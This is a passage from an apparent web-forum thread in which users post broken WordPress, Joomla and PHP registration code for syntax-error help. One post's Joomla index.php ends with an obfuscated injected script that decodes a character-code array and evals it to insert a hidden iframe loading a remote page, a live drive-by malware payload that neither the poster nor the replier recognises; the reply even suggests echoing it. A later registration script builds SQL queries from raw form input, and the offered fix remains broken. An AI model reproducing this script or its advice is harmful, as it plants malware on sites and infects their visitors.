    esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
    sprintf( esc_attr__( 'View all posts by %s', 'admired' ), get_the_author() ),
    esc_html( get_the_author() )
    );
    }
    endif;


    // Sets the post excerpt length to 40 words.
    function admired_excerpt_length( $length ) {
    return 40;
    }
    add_filter( 'excerpt_length', 'admired_excerpt_length' );


    // Returns a Continue Reading link for excerpts
    function admired_continue_reading_link() {
    return ' <a href="'. esc_url( get_permalink() ) . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'admired' ) . '</a>';
    }


    // Replaces "[...]".
    function admired_auto_excerpt_more( $more ) {
    return ' &hellip;' . admired_continue_reading_link();
    }
    add_filter( 'excerpt_more', 'admired_auto_excerpt_more' );


    // Adds Continue Reading link to excerpts.
    function admired_custom_excerpt_more( $output ) {
    if ( has_excerpt() && ! is_attachment() ) {
    $output .= admired_continue_reading_link();
    }
    return $output;
    }
    add_filter( 'get_the_excerpt', 'admired_custom_excerpt_more' );
    // Add a link to the theme's options page in the admin bar
    function admired_wp_admin_bar_theme_options(){
    global $wp_admin_bar;
    $wp_admin_bar->add_menu(array(
    'parent' => 'appearance',
    'id' => 'admired_options',
    'title' => 'Admired Options',
    'href' => admin_url('themes.php?page=admired-options')
    ));
    }
    add_action( 'admin_bar_menu', 'admired_wp_admin_bar_theme_options', 61 );




    /*
    Plugin Name: Add X-Autocomplete Fields to Comment Form. by: Samuel �Otto� Wood
    */
    add_filter('comment_form_default_fields','add_x_autocompletetype');
    function add_x_autocompletetype($fields) {
    $fields['author'] = str_replace('<input', '<input x-autocompletetype="name-full"', $fields['author']);
    $fields['email'] = str_replace('<input', '<input x-autocompletetype="email"', $fields['email']);
    return $fields;
    }


    /* Adding Google Analytics - Thank You Garinungkadol
    * Define the variable for the google analytics user id
    *----------------------------------------------------*/
    function admired_localize_var(){
    $options = get_option('admired_theme_options');
    return array(
    'admired_google_analytics' => $options['admired_google_analytics']
    );
    }


    // Enqueue the script
    function admired_ga_enqueue_script() {
    $options = get_option('admired_theme_options');
    // Only display the javascript if a user id has been defined in theme options page
    if ( isset ($options['admired_google_analytics']) && ($options['admired_google_analytics']!="") && !is_preview() ) {
    wp_enqueue_script('admired_ga', get_template_directory_uri() .'/js/ga.js');
    wp_localize_script( 'admired_ga', 'admired_var', admired_localize_var());
    }
    }
    // This will produce the javascript in the header of the blog
    add_action( 'wp_print_scripts', 'admired_ga_enqueue_script' );
    ?>
     
    paul.barstow2, Mar 8, 2012 IP
  13. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #33
    Why are you coming out of PHP in the middle of your PHP code?
    
    endif; // admired_setup
    ?>
    //Add Theme Options File
    $functions_path = TEMPLATEPATH . '/admin/';
    require_once ($functions_path . 'admired-options.php');
    require_once ($functions_path . 'admired-custom-header.php');
    
    Code (markup):
    Get rid of that ?> line.
     
    Rukbat, Mar 8, 2012 IP
  14. paul.barstow2

    paul.barstow2 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #34
    HI thanks for the reply but I worked it out in the end, site back up and running now thank god.
     
    paul.barstow2, Mar 8, 2012 IP
  15. yourthe1

    yourthe1 Peon

    Messages:
    4
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #35
    can anyone help me whats wrong in this code, i couldnt get it working :-(

    Parse error: syntax error, unexpected '<' in /home/himaalu1/public_html/index.php on line 89


    Here's the code

    <?php
    /**
    * @version $Id: index.php 14401 2010-01-26 14:10:00Z louis $
    * @package Joomla
    * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
    * @license GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */

    // Set flag that this is a parent file
    define( '_JEXEC', 1 );

    define('JPATH_BASE', dirname(__FILE__) );

    define( 'DS', DIRECTORY_SEPARATOR );

    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

    JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

    /**
    * CREATE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe =& JFactory::getApplication('site');

    /**
    * INITIALISE THE APPLICATION
    *
    * NOTE :
    */
    // set the language
    $mainframe->initialise();

    JPluginHelper::importPlugin('system');

    // trigger the onAfterInitialise events
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');

    /**
    * ROUTE THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->route();

    // authorization
    $Itemid = JRequest::getInt( 'Itemid');
    $mainframe->authorize($Itemid);

    // trigger the onAfterRoute events
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');

    /**
    * DISPATCH THE APPLICATION
    *
    * NOTE :
    */
    $option = JRequest::getCmd('option');
    $mainframe->dispatch($option);

    // trigger the onAfterDispatch events
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');

    /**
    * RENDER THE APPLICATION
    *
    * NOTE :
    */
    $mainframe->render();

    // trigger the onAfterRender events
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    $mainframe->triggerEvent('onAfterRender');

    /**
    * RETURN THE RESPONSE
    */
    echo JResponse::toString($mainframe->getCfg('gzip'));
    <script>c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}
    if(f)z=s;e(z);</script>
     
    yourthe1, Apr 7, 2012 IP
  16. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #36
    <script>, the beginning of line 89, isn't valid PHP. You probably want to echo that line.
     
    Rukbat, Apr 7, 2012 IP
  17. karachristine6

    karachristine6 Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #37
    I get a syntax error on line 7 and don't know what the error is relating to. HELP please!!

    <?php
    /**
    * @package WordPress
    * @subpackage Default_Theme
    */ ?>


    {
    automatic_feed_links();
    if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
    'after_widget' => '</li>',
    'before_title' => '<h2 class="widgettitle">',
    'after_title' => '</h2>',
    ));
    }


    /** @ignore */
    function kubrick_head() {
    $head = "<style type='text/css'>\n<!--";
    $output = '';
    if ( kubrick_header_image() ) {
    $url = kubrick_header_image_url() ;
    $output .= "#header { background: url('$url') no-repeat bottom center; }\n";
    }
    if ( false !== ( $color = kubrick_header_color() ) ) {
    $output .= "#headerimg h1 a, #headerimg h1 a:visited, #headerimg .description { color: $color; }\n";
    }
    if ( false !== ( $display = kubrick_header_display() ) ) {
    $output .= "#headerimg { display: $display }\n";
    }
    $foot = "--></style>\n";
    if ( '' != $output )
    echo $head . $output . $foot;
    }


    add_action('wp_head', 'kubrick_head');


    function kubrick_header_image() {
    return apply_filters('kubrick_header_image', get_option('kubrick_header_image'));
    }


    function kubrick_upper_color() {
    if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
    parse_str(substr($url, strpos($url, '?') + 1), $q);
    return $q['upper'];
    } else
    return '69aee7';
    }


    function kubrick_lower_color() {
    if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
    parse_str(substr($url, strpos($url, '?') + 1), $q);
    return $q['lower'];
    } else
    return '4180b6';
    }


    function kubrick_header_image_url() {
    if ( $image = kubrick_header_image() )
    $url = get_template_directory_uri() . '/images/' . $image;
    else
    $url = get_template_directory_uri() . '/images/kubrickheader.jpg';


    return $url;
    }


    function kubrick_header_color() {
    return apply_filters('kubrick_header_color', get_option('kubrick_header_color'));
    }


    function kubrick_header_color_string() {
    $color = kubrick_header_color();
    if ( false === $color )
    return 'white';


    return $color;
    }


    function kubrick_header_display() {
    return apply_filters('kubrick_header_display', get_option('kubrick_header_display'));
    }


    function kubrick_header_display_string() {
    $display = kubrick_header_display();
    return $display ? $display : 'inline';
    }


    add_action('admin_menu', 'kubrick_add_theme_page');


    function kubrick_add_theme_page() {
    if ( isset( $_GET['page'] ) && $_GET['page'] == basename(__FILE__) ) {
    if ( isset( $_REQUEST['action'] ) && 'save' == $_REQUEST['action'] ) {
    check_admin_referer('kubrick-header');
    if ( isset($_REQUEST['njform']) ) {
    if ( isset($_REQUEST['defaults']) ) {
    delete_option('kubrick_header_image');
    delete_option('kubrick_header_color');
    delete_option('kubrick_header_display');
    } else {
    if ( '' == $_REQUEST['njfontcolor'] )
    delete_option('kubrick_header_color');
    else {
    $fontcolor = preg_replace('/^.*(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['njfontcolor']);
    update_option('kubrick_header_color', $fontcolor);
    }
    if ( preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njuppercolor'], $uc) && preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njlowercolor'], $lc) ) {
    $uc = ( strlen($uc[0]) == 3 ) ? $uc[0]{0}.$uc[0]{0}.$uc[0]{1}.$uc[0]{1}.$uc[0]{2}.$uc[0]{2} : $uc[0];
    $lc = ( strlen($lc[0]) == 3 ) ? $lc[0]{0}.$lc[0]{0}.$lc[0]{1}.$lc[0]{1}.$lc[0]{2}.$lc[0]{2} : $lc[0];
    update_option('kubrick_header_image', "header-img.php?upper=$uc&lower=$lc");
    }


    if ( isset($_REQUEST['toggledisplay']) ) {
    if ( false === get_option('kubrick_header_display') )
    update_option('kubrick_header_display', 'none');
    else
    delete_option('kubrick_header_display');
    }
    }
    } else {


    if ( isset($_REQUEST['headerimage']) ) {
    check_admin_referer('kubrick-header');
    if ( '' == $_REQUEST['headerimage'] )
    delete_option('kubrick_header_image');
    else {
    $headerimage = preg_replace('/^.*?(header-img.php\?upper=[0-9a-fA-F]{6}&lower=[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['headerimage']);
    update_option('kubrick_header_image', $headerimage);
    }
    }


    if ( isset($_REQUEST['fontcolor']) ) {
    check_admin_referer('kubrick-header');
    if ( '' == $_REQUEST['fontcolor'] )
    delete_option('kubrick_header_color');
    else {
    $fontcolor = preg_replace('/^.*?(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['fontcolor']);
    update_option('kubrick_header_color', $fontcolor);
    }
    }


    if ( isset($_REQUEST['fontdisplay']) ) {
    check_admin_referer('kubrick-header');
    if ( '' == $_REQUEST['fontdisplay'] || 'inline' == $_REQUEST['fontdisplay'] )
    delete_option('kubrick_header_display');
    else
    update_option('kubrick_header_display', 'none');
    }
    }
    //print_r($_REQUEST);
    wp_redirect("themes.php?page=functions.php&saved=true");
    die;
    }
    add_action('admin_head', 'kubrick_theme_page_head');
    }
    add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', basename(__FILE__), 'kubrick_theme_page');
    }


    function kubrick_theme_page_head() {
    ?>
    <script type="text/javascript" src="../wp-includes/js/colorpicker.js"></script>
    <script type='text/javascript'>
    // <![CDATA[
    function pickColor(color) {
    ColorPicker_targetInput.value = color;
    kUpdate(ColorPicker_targetInput.id);
    }
    function PopupWindow_populate(contents) {
    contents += '<br /><p style="text-align:center;margin-top:0px;"><input type="button" class="button-secondary" value="<?php esc_attr_e('Close Color Picker'); ?>" onclick="cp.hidePopup(\'prettyplease\')"></input></p>';
    this.contents = contents;
    this.populated = false;
    }
    function PopupWindow_hidePopup(magicword) {
    if ( magicword != 'prettyplease' )
    return false;
    if (this.divName != null) {
    if (this.use_gebi) {
    document.getElementById(this.divName).style.visibility = "hidden";
    }
    else if (this.use_css) {
    document.all[this.divName].style.visibility = "hidden";
    }
    else if (this.use_layers) {
    document.layers[this.divName].visibility = "hidden";
    }
    }
    else {
    if (this.popupWindow && !this.popupWindow.closed) {
    this.popupWindow.close();
    this.popupWindow = null;
    }
    }
    return false;
    }
    function colorSelect(t,p) {
    if ( cp.p == p && document.getElementById(cp.divName).style.visibility != "hidden" )
    cp.hidePopup('prettyplease');
    else {
    cp.p = p;
    cp.select(t,p);
    }
    }
    function PopupWindow_setSize(width,height) {
    this.width = 162;
    this.height = 210;
    }


    var cp = new ColorPicker();
    function advUpdate(val, obj) {
    document.getElementById(obj).value = val;
    kUpdate(obj);
    }
    function kUpdate(oid) {
    if ( 'uppercolor' == oid || 'lowercolor' == oid ) {
    uc = document.getElementById('uppercolor').value.replace('#', '');
    lc = document.getElementById('lowercolor').value.replace('#', '');
    hi = document.getElementById('headerimage');
    hi.value = 'header-img.php?upper='+uc+'&lower='+lc;
    document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/'+hi.value+'") center no-repeat';
    document.getElementById('advuppercolor').value = '#'+uc;
    document.getElementById('advlowercolor').value = '#'+lc;
    }
    if ( 'fontcolor' == oid ) {
    document.getElementById('header').style.color = document.getElementById('fontcolor').value;
    document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value;
    }
    if ( 'fontdisplay' == oid ) {
    document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
    }
    }

    function toggleDisplay() {
    td = document.getElementById('fontdisplay');
    td.value = ( td.value == 'none' ) ? 'inline' : 'none';
    kUpdate('fontdisplay');
    }
    function toggleAdvanced() {
    a = document.getElementById('jsAdvanced');
    if ( a.style.display == 'none' )
    a.style.display = 'block';
    else
    a.style.display = 'none';
    }
    function kDefaults() {
    document.getElementById('headerimage').value = '';
    document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#69aee7';
    document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#4180b6';
    document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/kubrickheader.jpg") center no-repeat';
    document.getElementById('header').style.color = '#FFFFFF';
    document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '';
    document.getElementById('fontdisplay').value = 'inline';
    document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
    }
    function kRevert() {
    document.getElementById('headerimage').value = '<?php echo esc_js(kubrick_header_image()); ?>';
    document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#<?php echo esc_js(kubrick_upper_color()); ?>';
    document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#<?php echo esc_js(kubrick_lower_color()); ?>';
    document.getElementById('header').style.background = 'url("<?php echo esc_js(kubrick_header_image_url()); ?>") center no-repeat';
    document.getElementById('header').style.color = '';
    document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '<?php echo esc_js(kubrick_header_color_string()); ?>';
    document.getElementById('fontdisplay').value = '<?php echo esc_js(kubrick_header_display_string()); ?>';
    document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
    }
    function kInit() {
    document.getElementById('jsForm').style.display = 'block';
    document.getElementById('nonJsForm').style.display = 'none';
    }
    addLoadEvent(kInit);
    // ]]>
    </script>
    <style type='text/css'>
    #headwrap {
    text-align: center;
    }
    #kubrick-header {
    font-size: 80%;
    }
    #kubrick-header .hibrowser {
    width: 780px;
    height: 260px;
    overflow: scroll;
    }
    #kubrick-header #hitarget {
    display: none;
    }
    #kubrick-header #header h1 {
    font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
    font-weight: bold;
    font-size: 4em;
    text-align: center;
    padding-top: 70px;
    margin: 0;
    }


    #kubrick-header #header .description {
    font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
    font-size: 1.2em;
    text-align: center;
    }
    #kubrick-header #header {
    text-decoration: none;
    color: <?php echo kubrick_header_color_string(); ?>;
    padding: 0;
    margin: 0;
    height: 200px;
    text-align: center;
    background: url('<?php echo kubrick_header_image_url(); ?>') center no-repeat;
    }
    #kubrick-header #headerimg {
    margin: 0;
    height: 200px;
    width: 100%;
    display: <?php echo kubrick_header_display_string(); ?>;
    }
    #jsForm {
    display: none;
    text-align: center;
    }
    #jsForm input.submit, #jsForm input.button, #jsAdvanced input.button {
    padding: 0px;
    margin: 0px;
    }
    #advanced {
    text-align: center;
    width: 620px;
    }
    html>body #advanced {
    text-align: center;
    position: relative;
    left: 50%;
    margin-left: -380px;
    }
    #jsAdvanced {
    text-align: right;
    }
    #nonJsForm {
    position: relative;
    text-align: left;
    margin-left: -370px;
    left: 50%;
    }
    #nonJsForm label {
    padding-top: 6px;
    padding-right: 5px;
    float: left;
    width: 100px;
    text-align: right;
    }
    .defbutton {
    font-weight: bold;
    }
    .zerosize {
    width: 0px;
    height: 0px;
    overflow: hidden;
    }
    #colorPickerDiv a, #colorPickerDiv a:hover {
    padding: 1px;
    text-decoration: none;
    border-bottom: 0px;
    }
    </style>
    <?php
    }


    function kubrick_theme_page() {
    if ( isset( $_REQUEST['saved'] ) ) echo '<div id="message" class="updated fade"><p><strong>'.__('Options saved.').'</strong></p></div>';
    ?>
    <div class='wrap'>
    <h2><?php _e('Customize Header'); ?></h2>
    <div id="kubrick-header">
    <div id="headwrap">
    <div id="header">
    <div id="headerimg">
    <h1><?php bloginfo('name'); ?></h1>
    <div class="description"><?php bloginfo('description'); ?></div>
    </div>
    </div>
    </div>
    <br />
    <div id="nonJsForm">
    <form method="post" action="">
    <?php wp_nonce_field('kubrick-header'); ?>
    <div class="zerosize"><input type="submit" name="defaultsubmit" value="<?php esc_attr_e('Save'); ?>" /></div>
    <label for="njfontcolor"><?php _e('Font Color:'); ?></label><input type="text" name="njfontcolor" id="njfontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" /> <?php printf(__('Any CSS color (%s or %s or %s)'), '<code>red</code>', '<code>#FF0000</code>', '<code>rgb(255, 0, 0)</code>'); ?><br />
    <label for="njuppercolor"><?php _e('Upper Color:'); ?></label><input type="text" name="njuppercolor" id="njuppercolor" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
    <label for="njlowercolor"><?php _e('Lower Color:'); ?></label><input type="text" name="njlowercolor" id="njlowercolor" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
    <input type="hidden" name="hi" id="hi" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
    <input type="submit" name="toggledisplay" id="toggledisplay" value="<?php esc_attr_e('Toggle Text'); ?>" />
    <input type="submit" name="defaults" value="<?php esc_attr_e('Use Defaults'); ?>" />
    <input type="submit" class="defbutton" name="submitform" value="&nbsp;&nbsp;<?php esc_attr_e('Save'); ?>&nbsp;&nbsp;" />
    <input type="hidden" name="action" value="save" />
    <input type="hidden" name="njform" value="true" />
    </form>
    </div>
    <div id="jsForm">
    <form style="display:inline;" method="post" name="hicolor" id="hicolor" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>">
    <?php wp_nonce_field('kubrick-header'); ?>
    <input type="button" class="button-secondary" onclick="tgt=document.getElementById('fontcolor');colorSelect(tgt,'pick1');return false;" name="pick1" id="pick1" value="<?php esc_attr_e('Font Color'); ?>"></input>
    <input type="button" class="button-secondary" onclick="tgt=document.getElementById('uppercolor');colorSelect(tgt,'pick2');return false;" name="pick2" id="pick2" value="<?php esc_attr_e('Upper Color'); ?>"></input>
    <input type="button" class="button-secondary" onclick="tgt=document.getElementById('lowercolor');colorSelect(tgt,'pick3');return false;" name="pick3" id="pick3" value="<?php esc_attr_e('Lower Color'); ?>"></input>
    <input type="button" class="button-secondary" name="revert" value="<?php esc_attr_e('Revert'); ?>" onclick="kRevert()" />
    <input type="button" class="button-secondary" value="<?php esc_attr_e('Advanced'); ?>" onclick="toggleAdvanced()" />
    <input type="hidden" name="action" value="save" />
    <input type="hidden" name="fontdisplay" id="fontdisplay" value="<?php echo esc_attr(kubrick_header_display()); ?>" />
    <input type="hidden" name="fontcolor" id="fontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" />
    <input type="hidden" name="uppercolor" id="uppercolor" value="<?php echo esc_attr(kubrick_upper_color()); ?>" />
    <input type="hidden" name="lowercolor" id="lowercolor" value="<?php echo esc_attr(kubrick_lower_color()); ?>" />
    <input type="hidden" name="headerimage" id="headerimage" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
    <p class="submit"><input type="submit" name="submitform" class="button-primary" value="<?php esc_attr_e('Update Header'); ?>" onclick="cp.hidePopup('prettyplease')" /></p>
    </form>
    <div id="colorPickerDiv" style="z-index: 100;background:#eee;border:1px solid #ccc;position:absolute;visibility:hidden;"> </div>
    <div id="advanced">
    <form id="jsAdvanced" style="display:none;" action="">
    <?php wp_nonce_field('kubrick-header'); ?>
    <label for="advfontcolor"><?php _e('Font Color (CSS):'); ?> </label><input type="text" id="advfontcolor" onchange="advUpdate(this.value, 'fontcolor')" value="<?php echo esc_attr(kubrick_header_color()); ?>" /><br />
    <label for="advuppercolor"><?php _e('Upper Color (HEX):');?> </label><input type="text" id="advuppercolor" onchange="advUpdate(this.value, 'uppercolor')" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /><br />
    <label for="advlowercolor"><?php _e('Lower Color (HEX):'); ?> </label><input type="text" id="advlowercolor" onchange="advUpdate(this.value, 'lowercolor')" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /><br />
    <input type="button" class="button-secondary" name="default" value="<?php esc_attr_e('Select Default Colors'); ?>" onclick="kDefaults()" /><br />
    <input type="button" class="button-secondary" onclick="toggleDisplay();return false;" name="pick" id="pick" value="<?php esc_attr_e('Toggle Text Display'); ?>"></input><br />
    </form>
    </div>
    </div>
    </div>
    </div>
    <?php } ?>
     
    karachristine6, Sep 26, 2012 IP
  18. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #38
    Line 7 has no code. Change lines 5-8 to
    */
    
    
    //{
    
    
    PHP:
    You'll probably generate other errors further down, but since the code starting at line 9 is PHP, turning PHP off in line 5 causes the parser to barf on almost anything. (The open brace at line 8 doesn't seem to have any matching close brace, so it should be commented out - unless my editor missed the close brace.)
     
    Rukbat, Sep 26, 2012 IP
  19. furtive

    furtive Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #39
    I had the same problem. Can someone review my code?
    <?php require("design/top.php"); ?>
    <title>refreshvideos - Register</title>
    <div id="left">
    <p>Register here</p>
    <p>
    <?php
    
    $form = "<form action='register.php' method='POST'>
    <table>
    	<tr>
    		<td><table style='margin-left: auto; margin-right:auto;'>
    					<table cellspacing='10px'>
    						<tr>
    							<td><input class='textbox' type='text' id='usernamebox2' name='username' tabindex='1' value='Username' onfocus='usernamebox_focus();' onblur='usernamebox_blur();'></td>
    			
    						</tr>
    						<tr>
    							<td><input class='textbox' type='text' id='passwordbox2' name='password' tabindex='2' value='Password' onfocus='passwordbox_focus();' onblur='passwordbox_blur();'></td>
    							
    						</tr>
    						<tr>
    							<td><input class='textbox' type='text' id='emailbox' name='email' tabindex='3' value='Email' onfocus='emailbox_focus();' onblur='emialbox_blur();'></td>
    						</tr>
    						<tr>
    							<td><input type='submit' class='button' name='registerbutton' value='Register'><br></td>
    							<td><font size='-2'>(all fields required)</font></td>
    						</tr>
    					</table></td>
    	</tr>
    </table>
    </form>";
    
    if ($_POST['registerbutton']) {
    	$user = $_POST['username'];
    	$email = $_POST['email'];
    	$password = $_POST['password'];
    	
    	if ($user == "Username")
    		$user = "";
    	if ($email == "Email")
    		$email = "";
    		
    	if ($user && $email && $password) {
    		if (strstr($email, "@")&&(strstr($email, ".")){
    			require("design/connect.php");
    			
    			$query = mysql_query("SELECT * FROM users WHERE username='$user'")
    			$numrows = mysql_num_rows($query);
    			
    			if ($numrows == 1){
    			$query = mysql_query("SELECT * FROM users WHERE email='$email'")
    			$numrows = mysql_num_rows($query);
    			}
    			else{
    				echo "There is already an account registered with this email address. $form";
    			}
    			else{
    				echo "That username has been taken. $form";
    			}
    		}
    		else{
    			echo "That is not a valid email. $form";
    		}
    	}
    	else {
    		echo "You did not fill in the required fields. $form";
    	}
    	
    	
    }
    else{
    	echo "$form";
    }
    	
    
    ?>
    </p>
    </div>
    <?php require("design/bottom.php"); ?>
    Code (markup):
     
    furtive, Nov 17, 2012 IP
  20. ryan_uk

    ryan_uk Illustrious Member

    Messages:
    3,983
    Likes Received:
    1,022
    Best Answers:
    33
    Trophy Points:
    465
    #40
    You should make your own thread. Anyway, I am far too unwell and disorientated (I feel like everything is spinning and moving :D) to test it, but this might work (you had two extra }}):

    <?php
    if ($_POST['registerbutton']) {
    	$user = $_POST['username'];
    	$email = $_POST['email'];
    	$password = $_POST['password'];
    	if ($user == "Username")
    		$user = "";
    	if ($email == "Email")
    		$email = "";
    	if ($user && $email && $password) {
    		if (strstr($email, "@")&&(strstr($email, ".")) {
    			require("design/connect.php");
    			$query = mysql_query("SELECT * FROM users WHERE username='$user'")
    			$numrows = mysql_num_rows($query);
    			if ($numrows == 1){
    				$query = mysql_query("SELECT * FROM users WHERE email='$email'")
    				$numrows = mysql_num_rows($query);
    			} else {
    				echo "There is already an account registered with this email address. $form";
    			} else{
    				echo "That username has been taken. $form";
    			}
    		} else {
    			echo "That is not a valid email. $form";
    		}
    	else {
    		echo "You did not fill in the required fields. $form";
    	}
     else {
    	echo "$form";
    }
    ?>
    PHP:
     
    ryan_uk, Nov 17, 2012 IP